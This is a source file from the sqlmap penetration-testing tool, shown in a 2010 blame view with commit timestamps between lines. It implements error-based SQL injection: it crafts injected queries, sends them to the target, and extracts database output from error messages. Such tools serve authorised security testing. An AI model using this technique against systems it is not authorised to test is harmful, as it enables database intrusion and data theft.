sqlmap/lib/techniques/error/use.py

84 lines
3.0 KiB
Python
Raw Normal View History

2010-10-20 13:09:04 +04:00
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from lib.core.agent import agent
from lib.core.common import getUnicode
from lib.core.common import randomInt
from lib.core.common import replaceNewlineTabs
from lib.core.common import safeStringFormat
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.session import setError
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.utils.resume import resume
from lib.core.settings import ERROR_SPACE
from lib.core.settings import ERROR_EMPTY_CHAR
2010-10-20 13:35:46 +04:00
from lib.core.settings import ERROR_START_CHAR
from lib.core.settings import ERROR_END_CHAR
2010-10-20 13:09:04 +04:00
def errorUse(expression):
2010-10-20 13:09:04 +04:00
"""
Retrieve the output of a SQL query taking advantage of an error SQL
injection vulnerability on the affected parameter.
"""
2010-10-25 18:11:47 +04:00
output = None
2010-10-20 13:09:04 +04:00
logic = conf.logic
randInt = randomInt(1)
2010-10-25 18:11:47 +04:00
query = agent.prefixQuery(queries[kb.misc.testedDbms].error.query)
2010-10-20 13:09:04 +04:00
query = agent.postfixQuery(query)
2010-10-20 13:46:57 +04:00
startLimiter = ""
endLimiter = ""
2010-10-20 13:09:04 +04:00
2010-10-20 13:54:17 +04:00
expressionUnescaped = expression
2010-10-20 13:09:04 +04:00
if kb.dbmsDetected:
_, _, _, _, _, _, fieldToCastStr = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
2010-10-21 02:43:02 +04:00
2010-10-20 13:09:04 +04:00
if kb.dbms == "MySQL":
2010-10-26 19:42:54 +04:00
nulledCastedField = nulledCastedField.replace("AS CHAR)", "AS CHAR(100))") # fix for that 'Subquery returns more than 1 row'
2010-10-21 02:43:02 +04:00
2010-10-20 13:09:04 +04:00
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionUnescaped = unescaper.unescape(expressionReplaced)
2010-10-20 13:46:57 +04:00
startLimiter = unescaper.unescape("'%s'" % ERROR_START_CHAR)
endLimiter = unescaper.unescape("'%s'" % ERROR_END_CHAR)
2010-10-20 13:09:04 +04:00
else:
2010-10-20 13:54:17 +04:00
expressionUnescaped = kb.misc.handler.unescape(expression)
startLimiter = kb.misc.handler.unescape("'%s'" % ERROR_START_CHAR)
endLimiter = kb.misc.handler.unescape("'%s'" % ERROR_END_CHAR)
2010-10-20 13:09:04 +04:00
2010-10-25 18:11:47 +04:00
forgedQuery = safeStringFormat(query, (logic, randInt, startLimiter, expressionUnescaped, endLimiter))
debugMsg = "query: %s" % forgedQuery
2010-10-20 13:09:04 +04:00
logger.debug(debugMsg)
2010-10-25 18:11:47 +04:00
payload = agent.payload(newValue=forgedQuery)
result = Request.queryPage(urlencode(payload), content=True)
2010-10-20 14:29:18 +04:00
match = re.search('%s(?P<result>.*?)%s' % (ERROR_START_CHAR, ERROR_END_CHAR), result[0], re.DOTALL | re.IGNORECASE)
2010-10-26 13:33:18 +04:00
2010-10-20 13:09:04 +04:00
if match:
output = match.group('result')
if output:
output = output.replace(ERROR_SPACE, " ").replace(ERROR_EMPTY_CHAR, "")
if conf.verbose > 0:
infoMsg = "retrieved: %s" % replaceNewlineTabs(output, stdout=True)
logger.info(infoMsg)
return output